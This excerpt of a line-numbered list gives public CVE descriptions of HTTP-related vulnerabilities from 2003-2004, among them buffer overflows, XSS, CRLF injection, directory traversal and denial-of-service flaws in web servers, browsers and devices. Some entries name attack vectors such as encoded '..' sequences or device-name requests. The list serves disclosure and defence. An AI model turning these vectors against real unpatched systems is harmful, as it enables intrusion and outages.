20641| [CVE-2004-1561] Buffer overflow in Icecast 2.0.1 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a large number of headers.
20642| [CVE-2004-1557] MyWebServer 1.0.3 allows remote attackers to bypass authentication, modify configuration, and read arbitrary files via a direct HTTP request to (1) /admin or (2) ServerProperties.html.
20643| [CVE-2004-1550] Motorola Wireless Router WR850G running firmware 4.03 allows remote attackers to bypass authentication, log on as an administrator, and obtain sensitive information by repeatedly making an HTTP request for ver.asp until an administrator logs on.
20644| [CVE-2004-1540] ZyXEL Prestige 623, 650, and 652 HW Routers, and possibly other versions, with HTTP Remote Administration enabled, does not require a password to access rpFWUpload.html, which allows remote attackers to reset the router configuration file.
20645| [CVE-2004-1528] The Event Calendar module 2.13 for PHP-Nuke allows remote attackers to gain sensitive information via an HTTP request to (1) config.php, (2) index.php, or (3) submit.php, which reveal the full path in an error message.
20646| [CVE-2004-1516] CRLF injection vulnerability in index.php in phpWebSite 0.9.3-4 allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server via the block_username parameter in the user module.
20647| [CVE-2004-1514] 04WebServer 1.42 allows remote attackers to cause a denial of service (fail to restart properly) via an HTTP request for an MS-DOS device name such as COM2.
20648| [CVE-2004-1507] CRLF injection vulnerability in login.php in WebCalendar allows remote attackers to inject CRLF sequences via the return_path parameter and perform HTTP Response Splitting attacks to modify expected HTML content from the server.
20649| [CVE-2004-1488] wget 1.8.x and 1.9.x does not filter or quote control characters when displaying HTTP responses to the terminal, which may allow remote malicious web servers to inject terminal escape sequences and execute arbitrary code.
20650| [CVE-2004-1484] Format string vulnerability in the _msg function in error.c in socat 1.4.0.3 and earlier, when used as an HTTP proxy client and run with the -ly option, allows remote attackers or local users to execute arbitrary code via format string specifiers in a syslog message.
20651| [CVE-2004-1478] JRun 4.0 does not properly generate and handle the JSESSIONID, which allows remote attackers to perform a session fixation attack and hijack a user's HTTP session.
20652| [CVE-2004-1470] CRLF injection vulnerability in SnipSnap 0.5.2a, and other versions before 1.0b1, allows remote attackers to perform HTTP Response Splitting attacks to modify expected HTML content from the server.
20653| [CVE-2004-1444] Directory traversal vulnerability in Roundup 0.6.4 and earlier allows remote attackers to view arbitrary files via .. (dot dot) sequences in an @@ command in an HTTP GET request.
20654| [CVE-2004-1420] Multiple cross-site scripting (XSS) vulnerabilities in header.php in WHM AutoPilot 2.4.6.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) site_title or (2) http_images parameter.
20655| [CVE-2004-1362] The PL/SQL module for the Oracle HTTP Server in Oracle Application Server 10g, when using the WE8ISO8859P1 character set, does not perform character conversions properly, which allows remote attackers to bypass access restrictions for certain procedures via an encoded URL with "%FF" encoded sequences that are improperly converted to "Y" characters.
20656| [CVE-2004-1303] Buffer overflow in the get function in get.c for Yanf 0.4 allows remote malicious web servers to execute arbitrary code via crafted HTTP responses.
20657| [CVE-2004-1229] Cross-site scripting vulnerability in the parser for Gadu-Gadu allows remote attackers to inject arbitrary web script or HTML via (1) http:// or (2) news:// URLs, a different vulnerability than CVE-2004-1410.
20658| [CVE-2004-1223] The Management Agent in F-Secure Policy Manager 5.11.2810 allows remote attackers to gain sensitive information, such as the absolute path for the web server, via an HTTP request to fsmsh.dll without any parameters.
20659| [CVE-2004-1169] MaxDB WebTools 7.5.00.18 and earlier allows remote attackers to cause a denial of service (application crash) via an HTTP GET request for a file that does not exist, followed by two carriage returns, which causes a NULL dereference.
20660| [CVE-2004-1141] The HTTP dissector in Ethereal 0.10.1 through 0.10.7 allows remote attackers to cause a denial of service (application crash) via a certain packet that causes the dissector to access previously-freed memory.
20661| [CVE-2004-1133] Multiple cross-site scripting (XSS) vulnerabilities in Microsoft W3Who ISAPI (w3who.dll) allow remote attackers to inject arbitrary HTML and web script via (1) HTTP headers such as "Connection" or (2) invalid parameters whose values are echoed in the resulting error message.
20662| [CVE-2004-1120] Mulitple buffer overflows in (1) http.c, (2) http-retr.c, (3) main.c and other code that handles network protocols in ProZilla 1.3.6-r2 and earlier allow remote servers to execute arbitrary code via a long Location header.
20663| [CVE-2004-1101] mailpost.exe in MailPost 5.1.1sv, and possibly earlier versions, allows remote attackers to cause a denial of service (server crash), leak sensitive pathname information in the resulting error message, and execute a cross-site scripting (XSS) attack via an HTTP request that contains a / (backslash) and arbitrary webscript before the requested file, which leaks the pathname and does not quote the script in the resulting Visual Basic error message.
20664| [CVE-2004-1084] Apache for Apple Mac OS X 10.2.8 and 10.3.6 allows remote attackers to read files and resource fork content via HTTP requests to certain special file names related to multiple data streams in HFS+, which bypass Apache file handles.
20665| [CVE-2004-1053] Integer overflow in fetch on FreeBSD 4.1 through 5.3 allows remote malicious servers to execute arbitrary code via certain HTTP headers in an HTTP response, which lead to a buffer overflow.
20666| [CVE-2004-1034] Buffer overflow in the http_open function in Kaffeine before 0.5, whose code is also used in gxine before 0.3.3, allows remote attackers to cause a denial of service (application crash) and possibly execute arbitrary code via a long Content-Type header for a Real Audio Media (.ram) playlist file.
20667| [CVE-2004-0989] Multiple buffer overflows in libXML 2.6.12 and 2.6.13 (libxml2), and possibly other versions, may allow remote attackers to execute arbitrary code via (1) a long FTP URL that is not properly handled by the xmlNanoFTPScanURL function, (2) a long proxy URL containing FTP data that is not properly handled by the xmlNanoFTPScanProxy function, and other overflows related to manipulation of DNS length values, including (3) xmlNanoFTPConnect, (4) xmlNanoHTTPConnectHost, and (5) xmlNanoHTTPConnectHost.
20668| [CVE-2004-0983] The CGI module in Ruby 1.6 before 1.6.8, and 1.8 before 1.8.2, allows remote attackers to cause a denial of service (infinite loop and CPU consumption) via a certain HTTP request.
20669| [CVE-2004-0982] Buffer overflow in the getauthfromURL function in httpget.c in mpg123 pre0.59s and mpg123 0.59r could allow remote attackers or local users to execute arbitrary code via an mp3 file that contains a long string before the @ (at sign) in a URL.
20670| [CVE-2004-0942] Apache webserver 2.0.52 and earlier allows remote attackers to cause a denial of service (CPU consumption) via an HTTP GET request with a MIME header containing multiple lines with a large number of space characters.
20671| [CVE-2004-0931] MySQL MaxDB before 7.5.00.18 allows remote attackers to cause a denial of service (crash) via an HTTP request to webdbm with high ASCII values in the Server field, which triggers an assert error in the IsAscii7 function.
20672| [CVE-2004-0928] The Microsoft IIS Connector in JRun 4.0 and Macromedia ColdFusion MX 6.0, 6.1, and 6.1 J2EE allows remote attackers to bypass authentication and view source files, such as .asp, .pl, and .php files, via an HTTP request that ends in "
20673| [CVE-2004-0917] The default installation of Vignette Application Portal installs the diagnostic utility without authentication requirements, which allows remote attackers to gain sensitive information, such as server and OS version, and conduct unauthorized activities via an HTTP request to /diag.
20674| [CVE-2004-0872] Opera does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
20675| [CVE-2004-0871] Mozilla does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
20676| [CVE-2004-0870] KDE Konqueror does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
20677| [CVE-2004-0869] Internet Explorer does not prevent cookies that are sent over an insecure channel (HTTP) from also being sent over a secure channel (HTTPS/SSL) in the same domain, which could allow remote attackers to steal cookies and conduct unauthorized activities, aka "Cross Security Boundary Cookie Injection."
20678| [CVE-2004-0867] Mozilla Firefox 0.9.2 allows web sites to set cookies for country-specific top-level domains, such as .ltd.uk, .plc.uk, and .sch.uk, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session. NOTE: it was later reported that 2.x is also affected.
20679| [CVE-2004-0866] Internet Explorer 6.0 allows web sites to set cookies for country-specific top-level domains, such as .ltd.uk, .plc.uk, and .sch.uk, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session.
20680| [CVE-2004-0799] The HTTP daemon in Ipswitch WhatsUp Gold 8.03 and 8.03 Hotfix 1 allows remote attackers to cause a denial of service (server crash) via a GET request containing an MS-DOS device name, as demonstrated using "prn.htm".
20681| [CVE-2004-0786] The IPv6 URI parsing routines in the apr-util library for Apache 2.0.50 and earlier allow remote attackers to cause a denial of service (child process crash) via a certain URI, as demonstrated using the Codenomicon HTTP Test Tool.
20682| [CVE-2004-0746] Konqueror in KDE 3.2.3 and earlier allows web sites to set cookies for country-specific top-level domains, such as .ltd.uk, .plc.uk and .firm.in, which could allow remote attackers to perform a session fixation attack and hijack a user's HTTP session.
20683| [CVE-2004-0740] The HTTP server in Lexmark T522 and possibly other models allows remote attackers to cause a denial of service (server crash, reload, or hang) via an HTTP header with a long Host field, possibly triggering a buffer overflow.
20684| [CVE-2004-0700] Format string vulnerability in the mod_proxy hook functions function in ssl_engine_log.c in mod_ssl before 2.8.19 for Apache before 1.3.31 may allow remote attackers to execute arbitrary messages via format string specifiers in certain log messages for HTTPS that are handled by the ssl_log function.
20685| [CVE-2004-0684] WebSphere Edge Component Caching Proxy in WebSphere Edge Server 5.02, with the JunctionRewrite directive enabled, allows remote attackers to cause a denial of service via an HTTP GET request without any parameters.
20686| [CVE-2004-0680] Zoom X3 ADSL modem has a terminal running on port 254 that can be accessed using the default HTML management password, even if the password has been changed for the HTTP interface, which could allow remote attackers to gain unauthorized access.
20687| [CVE-2004-0662] PowerPortal 1.x allows remote attackers to gain sensitive information via invalid or missing parameters in HTTP requests to (1) resize.php or (2) modules.php, which reveals the path in an error message.
20688| [CVE-2004-0646] Buffer overflow in the WriteToLog function for JRun 3.0 through 4.0 web server connectors, such as (1) mod_jrun and (2) mod_jrun20 for Apache, with verbose logging enabled, allows remote attackers to execute arbitrary code via a long HTTP header Content-Type field or other fields.
20689| [CVE-2004-0613] osTicket allows remote attackers to view sensitive uploaded files and possibly execute arbitrary code via an HTTP request that uploads a PHP file to the ticket attachments directory.
20690| [CVE-2004-0611] Web-Based Administration in Netgear FVS318 VPN Router allows remote attackers to cause a denial of service (no new connections) via a large number of open HTTP connections.
20691| [CVE-2004-0610] The Web administration interface in Microsoft MN-500 Wireless Router allows remote attackers to cause a denial of service (connection refusal) via a large number of open HTTP connections.
20692| [CVE-2004-0604] The HTTP client and server in giFT-FastTrack 0.8.6 and earlier allows remote attackers to cause a denial of service (crash), possibly via an empty search query, which triggers a NULL dereference.
20693| [CVE-2004-0600] Buffer overflow in the Samba Web Administration Tool (SWAT) in Samba 3.0.2 to 3.0.4 allows remote attackers to execute arbitrary code via an invalid base-64 character during HTTP basic authentication.
20694| [CVE-2004-0551] Cisco CatOS 5.x before 5.5(20) through 8.x before 8.2(2) and 8.3(2)GLX, as used in Catalyst switches, allows remote attackers to cause a denial of service (system crash and reload) by sending invalid packets instead of the final ACK portion of the three-way handshake to the (1) Telnet, (2) HTTP, or (3) SSH services, aka "TCP-ACK DoS attack."
20695| [CVE-2004-0549] The WebBrowser ActiveX control, or the Internet Explorer HTML rendering engine (MSHTML), as used in Internet Explorer 6, allows remote attackers to execute arbitrary code in the Local Security context by using the showModalDialog method and modifying the location to execute code such as Javascript, as demonstrated using (1) delayed HTTP redirect operations, and an HTTP response with a Location: header containing a "URL:" prepended to a "ms-its" protocol URI, or (2) modifying the location attribute of the window, as exploited by the Download.ject (aka Scob aka Toofer) using the ADODB.Stream object.
20696| [CVE-2004-0493] The ap_get_mime_headers_core function in Apache httpd 2.0.49 allows remote attackers to cause a denial of service (memory exhaustion), and possibly an integer signedness error leading to a heap-based buffer overflow on 64 bit systems, via long header lines with large numbers of space or tab characters.
20697| [CVE-2004-0492] Heap-based buffer overflow in proxy_util.c for mod_proxy in Apache 1.3.25 to 1.3.31 allows remote attackers to cause a denial of service (process crash) and possibly execute arbitrary code via a negative Content-Length HTTP header field, which causes a large amount of data to be copied.
20698| [CVE-2004-0474] Help Center (HelpCtr.exe) may allow remote attackers to read or execute arbitrary files via an "http://" or "file://" argument to the topic parameter in an hcp:// URL. NOTE: since the initial report of this problem, several researchers have been unable to reproduce this issue.
20699| [CVE-2004-0462] The built-in web servers for multiple networking devices do not set the Secure attribute for sensitive cookies in HTTPS sessions, which could cause the user agent to send those cookies in plaintext over an HTTP session with the same server.
20700| [CVE-2004-0456] Stack-based buffer overflow in pavuk 0.9pl28, 0.9pl27, and possibly other versions allows remote web sites to execute arbitrary code via a long HTTP Location header.
20701| [CVE-2004-0386] Buffer overflow in the HTTP parser for MPlayer 1.0pre3 and earlier, 0.90, and 0.91 allows remote attackers to execute arbitrary code via a long Location header.
20702| [CVE-2004-0385] Heap-based buffer overflow in Oracle 9i Application Server Web Cache 9.0.4.0.0, 9.0.3.1.0, 9.0.2.3.0, and 9.0.0.4.0 allows remote attackers to execute arbitrary code via a long HTTP request method header to the Web Cache listener. NOTE: due to the vagueness of the Oracle advisory, it is not clear whether there are additional issues besides this overflow, although the advisory alludes to multiple "vulnerabilities."
20703| [CVE-2004-0374] Interchange before 5.0.1 allows remote attackers to "expose the content of arbitrary variables" and read or modify sensitive SQL information via an HTTP request ending with the "__SQLUSER__" string.
20704| [CVE-2004-0356] Stack-based buffer overflow in Supervisor Report Center in SL Mail Pro 2.0.9 and earlier allows remote attackers to execute arbitrary code via an HTTP request with a long HTTP sub-version.
20705| [CVE-2004-0349] Directory traversal vulnerability in GWeb HTTP Server 0.6 allows remote attackers to view arbitrary files via a .. (dot dot) in the URL.
20706| [CVE-2004-0335] LAN SUITE Web Mail 602Pro, when configured to use the "Directory browsing" feature, allows remote attackers to obtain a directory listing via an HTTP request to (1) index.html, (2) cgi-bin/, or (3) users/.
20707| [CVE-2004-0334] InnoMedia VideoPhone allows remote attackers to bypass Basic Authorization via an HTTP request to (1) videophone_admindetail.asp, (2) videophone_syscfg.asp, (3) videophone_upgrade.asp, or (4) videophone_sysctrl.asp that contains a trailing / (slash). NOTE: the original report mentioned AXIS 2100 Network Camera, but this was likely a cut-and-paste error.
20708| [CVE-2004-0331] Heap-based buffer overflow in Dell OpenManage Web Server 3.4.0 allows remote attackers to cause a denial of service (crash) via a HTTP POST with a long application variable.
20709| [CVE-2004-0313] Buffer overflow in PSOProxy 0.91 allows remote attackers to cause a denial of service and possibly execute arbitrary code via a long HTTP request, as demonstrated using a long (1) GET argument or (2) method name.
20710| [CVE-2004-0293] Directory traversal vulnerability in ShopCartCGI 2.3 allows remote attackers to retrieve arbitrary files via a .. (dot dot) in a HTTP request to (1) gotopage.cgi or (2) genindexpage.cgi.
20711| [CVE-2004-0292] Buffer overflow in KarjaSoft Sami HTTP Server 1.0.4 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long HTTP GET request.
20712| [CVE-2004-0281] Caucho Technology Resin 2.1.12 allows remote attackers to gain sensitive information and view the contents of the /WEB-INF/ directory via an HTTP request for "WEB-INF..", which is equivalent to "WEB-INF" in Windows.
20713| [CVE-2004-0280] Caucho Technology Resin 2.1.12 allows remote attackers to view JSP source via an HTTP request to a .jsp file that ends in a "%20" (encoded space character), e.g. index.jsp%20.
20714| [CVE-2004-0276] The get_real_string function in Monkey HTTP Daemon (monkeyd) 0.8.1 and earlier allows remote attackers to cause a denial of service (crash) via an HTTP request with a sequence of "%" characters and a missing Host field.
20715| [CVE-2004-0271] Multiple cross-site scripting vulnerabilities (XSS) in MaxWebPortal allow remote attackers to execute arbitrary web script as other users via (1) the sub_name parameter of dl_showall.asp, (2) the SendTo parameter in Personal Messages, (3) the HTTP_REFERER for down.asp, or (4) the image name of an Avatar in the register form.
20716| [CVE-2004-0264] palmhttpd for PalmOS allows remote attackers to cause a denial of service (crash) by establishing two simultaneous HTTP connections, which exceeds the PalmOS accept queue.
20717| [CVE-2004-0259] The check_referer() function in Formmail.php 5.0 and earlier allows remote attackers to bypass access restrictions via an empty or spoofed HTTP Referer, as demonstrated using an application on the same web server that contains a cross-site scripting (XSS) issue.
20718| [CVE-2004-0245] Web Crossing 4.x and 5.x allows remote attackers to cause a denial of service (crash) by sending a HTTP POST request with a large or negative Content-Length, which causes an integer divide-by-zero.
20719| [CVE-2004-0130] login.php in phpGedView 2.65 and earlier allows remote attackers to obtain sensitive information via an HTTP request to login.php that does not contain the required username or password parameters, which causes the information to be leaked in an error message.
20720| [CVE-2004-0113] Memory leak in ssl_engine_io.c for mod_ssl in Apache 2 before 2.0.49 allows remote attackers to cause a denial of service (memory consumption) via plain HTTP requests to the SSL port of an SSL-enabled server.
20721| [CVE-2004-0110] Buffer overflow in the (1) nanohttp or (2) nanoftp modules in XMLSoft Libxml 2 (Libxml2) 2.6.0 through 2.6.5 allow remote attackers to execute arbitrary code via a long URL.
20722| [CVE-2004-0096] Unknown vulnerability in mod_python 2.7.9 allows remote attackers to cause a denial of service (httpd crash) via a certain query string, a variant of CAN-2003-0973.
20723| [CVE-2004-0095] McAfee ePolicy Orchestrator agent allows remote attackers to cause a denial of service (memory consumption and crash) and possibly execute arbitrary code via an HTTP POST request with an invalid Content-Length value, possibly triggering a buffer overflow.
20724| [CVE-2004-0072] Directory traversal vulnerability in Accipiter Direct Server 6.0 allows remote attackers to read arbitrary files via encoded \.. (backslash .., "%5c%2e%2e") sequences in an HTTP request.
20725| [CVE-2004-0049] Helix Universal Server/Proxy 9 and Mobile Server 10 allow remote attackers to cause a denial of service via certain HTTP POST messages to the Administration System port.
20726| [CVE-2004-0039] Multiple format string vulnerabilities in HTTP Application Intelligence (AI) component in Check Point Firewall-1 NG-AI R55 and R54, and Check Point Firewall-1 HTTP Security Server included with NG FP1, FP2, and FP3 allows remote attackers to execute arbitrary code via HTTP requests that cause format string specifiers to be used in an error message, as demonstrated using the scheme of a URI.
20727| [CVE-2004-0038] McAfee ePolicy Orchestrator (ePO) 2.5.1 Patch 13 and 3.0 SP2a Patch 3 allows remote attackers to execute arbitrary commands via certain HTTP POST requests to the spipe/file handler on ePO TCP port 81.
20728| [CVE-2004-0031] PHPGEDVIEW 2.61 allows remote attackers to reinstall the software and change the administrator password via a direct HTTP request to editconfig.php.
20729| [CVE-2004-0006] Multiple buffer overflows in Gaim 0.75 and earlier, and Ultramagnetic before 0.81, allow remote attackers to cause a denial of service and possibly execute arbitrary code via (1) cookies in a Yahoo web connection, (2) a long name parameter in the Yahoo login web page, (3) a long value parameter in the Yahoo login page, (4) a YMSG packet, (5) the URL parser, and (6) HTTP proxy connect.
20730| [CVE-2003-1587] Cross-site scripting (XSS) vulnerability in LoganPro allows remote attackers to inject arbitrary web script or HTML via a crafted User-Agent HTTP header.
20731| [CVE-2003-1586] Cross-site scripting (XSS) vulnerability in WebExpert allows remote attackers to inject arbitrary web script or HTML via a crafted User-Agent HTTP header.
20732| [CVE-2003-1582] Microsoft Internet Information Services (IIS) 6.0, when DNS resolution is enabled for client IP addresses, allows remote attackers to inject arbitrary text into log files via an HTTP request in conjunction with a crafted DNS response, as demonstrated by injecting XSS sequences, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
20733| [CVE-2003-1581] The Apache HTTP Server 2.0.44, when DNS resolution is enabled for client IP addresses, allows remote attackers to inject arbitrary text into log files via an HTTP request in conjunction with a crafted DNS response, as demonstrated by injecting XSS sequences, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
20734| [CVE-2003-1580] The Apache HTTP Server 2.0.44, when DNS resolution is enabled for client IP addresses, uses a logging format that does not identify whether a dotted quad represents an unresolved IP address, which allows remote attackers to spoof IP addresses via crafted DNS responses containing numerical top-level domains, as demonstrated by a forged 123.123.123.123 domain name, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
20735| [CVE-2003-1578] Sun ONE (aka iPlanet) Web Server 4.1 through SP12 and 6.0 through SP5, when DNS resolution is enabled for client IP addresses, allows remote attackers to hide HTTP requests from the log-preview functionality by accompanying the requests with crafted DNS responses specifying a domain name beginning with a "format=" substring, related to an "Inverse Lookup Log Corruption (ILLC)" issue.
20736| [CVE-2003-1577] Sun ONE (aka iPlanet) Web Server 4.1 through SP12 and 6.0 through SP5, when DNS resolution is enabled for client IP addresses, allows remote attackers to inject arbitrary text into log files, and conduct cross-site scripting (XSS) attacks involving the iPlanet Log Analyzer, via an HTTP request in conjunction with a crafted DNS response, related to an "Inverse Lookup Log Corruption (ILLC)" issue, a different vulnerability than CVE-2002-1315 and CVE-2002-1316.
20737| [CVE-2003-1569] GoAhead WebServer before 2.1.5 on Windows 95, 98, and ME allows remote attackers to cause a denial of service (daemon crash) via an HTTP request with a (1) con, (2) nul, (3) clock$, or (4) config$ device name in a path component, different vectors than CVE-2001-0385.
20738| [CVE-2003-1567] The undocumented TRACK method in Microsoft Internet Information Services (IIS) 5.0 returns the content of the original request in the body of the response, which makes it easier for remote attackers to steal cookies and authentication credentials, or bypass the HttpOnly protection mechanism, by using TRACK to read the contents of the HTTP headers that are returned in the response, a technique that is similar to cross-site tracing (XST) using HTTP TRACE.
20739| [CVE-2003-1561] Opera, probably before 7.50, sends Referer headers containing https:// URLs in requests for http:// URLs, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
20740| [CVE-2003-1560] Netscape 4 sends Referer headers containing https:// URLs in requests for http:// URLs, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
20741| [CVE-2003-1559] Microsoft Internet Explorer 5.22, and other 5 through 6 SP1 versions, sends Referer headers containing https:// URLs in requests for http:// URLs, which allows remote attackers to obtain potentially sensitive information by reading Referer log data.
20742| [CVE-2003-1558] Buffer overflow in httpd.c of fnord 1.6 allows remote attackers to create a denial of service (crash) and possibly execute arbitrary code via a long CGI request passed to the do_cgi function.
20743| [CVE-2003-1543] Cross-site scripting (XSS) vulnerability in Bajie Http Web Server 0.95zxe, 0.95zxc, and possibly others, allows remote attackers to inject arbitrary web script or HTML via the query string, which is reflected in an error message.
20744| [CVE-2003-1511] Cross-site scripting (XSS) vulnerability in Bajie Java HTTP Server 0.95 through 0.95zxv4 allows remote attackers to inject arbitrary web script or HTML via (1) the query string to test.txt, (2) the guestName parameter to the custMsg servlet, or (3) the cookiename parameter to the CookieExample servlet.
20745| [CVE-2003-1510] TinyWeb 1.9 allows remote attackers to cause a denial of service (CPU consumption) via a ".%00." in an HTTP GET request to the cgi-bin directory.
20746| [CVE-2003-1497] Buffer overflow in the system log viewer of Linksys BEFSX41 1.44.3 allows remote attackers to cause a denial of service via an HTTP request with a long Log_Page_Num variable.
20747| [CVE-2003-1492] Netscape Navigator 7.0.2 and Mozilla allows remote attackers to access cookie information in a different domain via an HTTP request for a domain with an extra . (dot) at the end.
20748| [CVE-2003-1490] SonicWall Pro running firmware 6.4.0.1 allows remote attackers to cause a denial of service (device reset) via a long HTTP POST to the internal interface, possibly due to a buffer overflow.
20749| [CVE-2003-1486] Phorum 3.4 through 3.4.2 allows remote attackers to obtain the full path of the web server via an incorrect HTTP request to (1) smileys.php, (2) quick_listrss.php, (3) purge.php, (4) news.php, (5) memberlist.php, (6) forum_listrss.php, (7) forum_list_rdf.php, (8) forum_list.php, or (9) move.php, which leaks the information in an error message.
20750| [CVE-2003-1481] CommuniGate Pro 3.1 through 4.0.6 sends the session ID in the referer field for an HTTP request for an image, which allows remote attackers to hijack mail sessions via an e-mail with an IMG tag that references a malicious URL that captures the referer.
20751| [CVE-2003-1420] Cross-site scripting (XSS) vulnerability in Opera 6.0 through 7.0 with automatic redirection disabled allows remote attackers to inject arbitrary web script or HTML via the HTTP Location header.
20752| [CVE-2003-1418] Apache HTTP Server 1.3.22 through 1.3.27 on OpenBSD allows remote attackers to obtain sensitive information via (1) the ETag header, which reveals the inode number, or (2) multipart MIME boundary, which reveals child proccess IDs (PID).
20753| [CVE-2003-1415] NetCharts XBRL Server 4.0.0 allows remote attackers to obtain sensitive information via an HTTP request with an invalid chunked transfer encoding specification.
20754| [CVE-2003-1409] TOPo 1.43 allows remote attackers to obtain sensitive information by sending an HTTP request with an invalid parameter to (1) in.php or (2) out.php, which reveals the path to the TOPo directory in the error message.
20755| [CVE-2003-1408] Lotus Domino Server 5.0 and 6.0 allows remote attackers to read the source code for files via an HTTP request with a filename with a trailing dot.
20756| [CVE-2003-1397] The PluginContext object of Opera 6.05 and 7.0 allows remote attackers to cause a denial of service (crash) via an HTTP request containing a long string that gets passed to the ShowDocument method.
20757| [CVE-2003-1388] Buffer overflow in Opera 7.02 Build 2668 allows remote attackers to crash Opera via a long HTTP request ending in a .ZIP extension.
20758| [CVE-2003-1386] AXIS 2400 Video Server 2.00 through 2.33 allows remote attackers to obtain sensitive information via an HTTP request to /support/messages, which displays the server's /var/log/messages file.
20759| [CVE-2003-1383] WEB-ERP 0.1.4 and earlier allows remote attackers to obtain sensitive information via an HTTP request for the logicworks.ini file, which contains the MySQL database username and password.
20760| [CVE-2003-1364] Aprelium Technologies Abyss Web Server 1.1.2, and possibly other versions before 1.1.4, allows remote attackers to cause a denial of service (crash) via an HTTP GET message with empty (1) Connection or (2) Range fields.
20761| [CVE-2003-1338] CRLF injection vulnerability in Aprelium Abyss Web Server 1.1.2 and earlier allows remote attackers to inject arbitrary HTTP headers and possibly conduct HTTP Response Splitting attacks via CRLF sequences in the Location header.
20762| [CVE-2003-1337] Heap-based buffer overflow in Aprelium Abyss Web Server 1.1.2 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.
20763| [CVE-2003-1321] Buffer overflow in Avant Browser 8.02 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a long URL in an HTTP request.
20764| [CVE-2003-1307] ** DISPUTED ** The mod_php module for the Apache HTTP Server allows local users with write access to PHP scripts to send signals to the server's process group and use the server's file descriptors, as demonstrated by sending a STOP signal, then intercepting incoming connections on the server's TCP port. NOTE: the PHP developer has disputed this vulnerability, saying "The opened file descriptors are opened by Apache. It is the job of Apache to protect them ... Not a bug in PHP."
20765| [CVE-2003-1306] Microsoft URLScan 2.5, with the RemoveServerHeader option enabled, allows remote attackers to obtain sensitive information (server name and version) via an HTTP request that generates certain errors such as 400 "Bad Request," which leak the Server header in the response.
20766| [CVE-2003-1286] HTTP Proxy in Sambar Server before 6.0 beta 6, when security.ini lacks a 127.0.0.1 proxydeny entry, allows remote attackers to send proxy HTTP requests to the Sambar Server's administrative interface and external web servers, by making a "Connection: keep-alive" request before the proxy requests.
20767| [CVE-2003-1271] Cross-site scripting vulnerability (XSS) in AN HTTP 1.41e allows remote attackers to execute arbitrary web script or HTML as other users via a URL containing the script.
20768| [CVE-2003-1270] AN HTTP 1.41e allows remote attackers to cause a denial of service (borken pipe) via an HTTP request to aux.cgi with a long argument, possibly triggering a buffer overflow or MS-DOS device vulnerability.
20769| [CVE-2003-1269] AN HTTP 1.41e allows remote attackers to obtain the root web server path via an HTTP request with a long argument to a script, which leaks the path in an error message.
20770| [CVE-2003-1263] ICAL.EXE in iCal 3.7 allows remote attackers to cause a denial of service (crash) via a malformed HTTP request, possibly due to an invalid method name.
20771| [CVE-2003-1262] Buffer overflow in the http_fetch function of HTTP Fetcher 1.0.0 and 1.0.1 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a URL request via a long (1) host, (2) referer, or (3) userAgent value.
20772| [CVE-2003-1228] Buffer overflow in the prepare_reply function in request.c for Mathopd 1.2 through 1.5b13, and possibly earlier versions, allows remote attackers to cause a denial of service (server crash) and possibly execute arbitrary code via an HTTP request with a long path.
20773| [CVE-2003-1209] The Post_Method function in Monkey HTTP Daemon before 0.6.2 allows remote attackers to cause a denial of service (crash) via a POST request without a Content-Type header.
20774| [CVE-2003-1198] connection.c in Cherokee web server before 0.4.6 allows remote attackers to cause a denial of service via an HTTP POST request without a Content-Length header field.
20775| [CVE-2003-1186] Buffer overflow in TelCondex SimpleWebServer 2.12.30210 Build3285 allows remote attackers to execute arbitrary code via a long HTTP Referer header.
20776| [CVE-2003-1181] Advanced Poll 2.0.2 allows remote attackers to obtain sensitive information via an HTTP request to info.php, which invokes the phpinfo() function.
20777| [CVE-2003-1168] HTTP Commander 4.0 allows remote attackers to obtain sensitive information via an HTTP request that contains a . (dot) in the file parameter, which reveals the installation path in an error message.
20778| [CVE-2003-1166] Directory traversal vulnerability in (1) Openfile.aspx and (2) Html.aspx in HTTP Commander 4.0 allows remote attackers to view arbitrary files via a .. (dot dot) in the file parameter.
20779| [CVE-2003-1165] Buffer overflow in BRS WebWeaver 1.06 and earlier allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via an HTTP request with a long User-Agent header.
20780| [CVE-2003-1160] FlexWATCH Network video server 132 allows remote attackers to bypass authentication and gain administrative privileges via an HTTP request to aindex.htm that contains double leading slashes (//).
20781| [CVE-2003-1159] Plug and Play Web Server Proxy 1.0002c allows remote attackers to cause a denial of service (server crash) via an invalid URI in an HTTP GET request to TCP port 8080.
20782| [CVE-2003-1152] WebTide 7.04 allows remote attackers to list arbitrary directories via an HTTP request for %3f.jsp (encoded "?").
20783| [CVE-2003-1137] Charles Steinkuehler sh-httpd 0.3 and 0.4 allows remote attackers to read files or execute arbitrary CGI scripts via a GET request that contains an asterisk (*) wildcard character.
20784| [CVE-2003-1127] Whale Communications e-Gap 2.5 on Windows 2000 allows remote attackers to obtain the source code for the login page via the HTTP TRACE method, which bypasses the preprocessor.
20785| [CVE-2003-1085] The HTTP server in the Thomson TWC305, TWC315, and TCW690 cable modem ST42.03.0a allows remote attackers to cause a denial of service (unstable service) via a long GET request, possibly caused by a buffer overflow.
20786| [CVE-2003-1084] Monit 1.4 to 4.1 allows remote attackers to cause a denial of service (daemon crash) via an HTTP POST request with a negative Content-Length field.
20787| [CVE-2003-1083] Stack-based buffer overflow in Monit 1.4 to 4.1 allows remote attackers to execute arbitrary code via a long HTTP request.
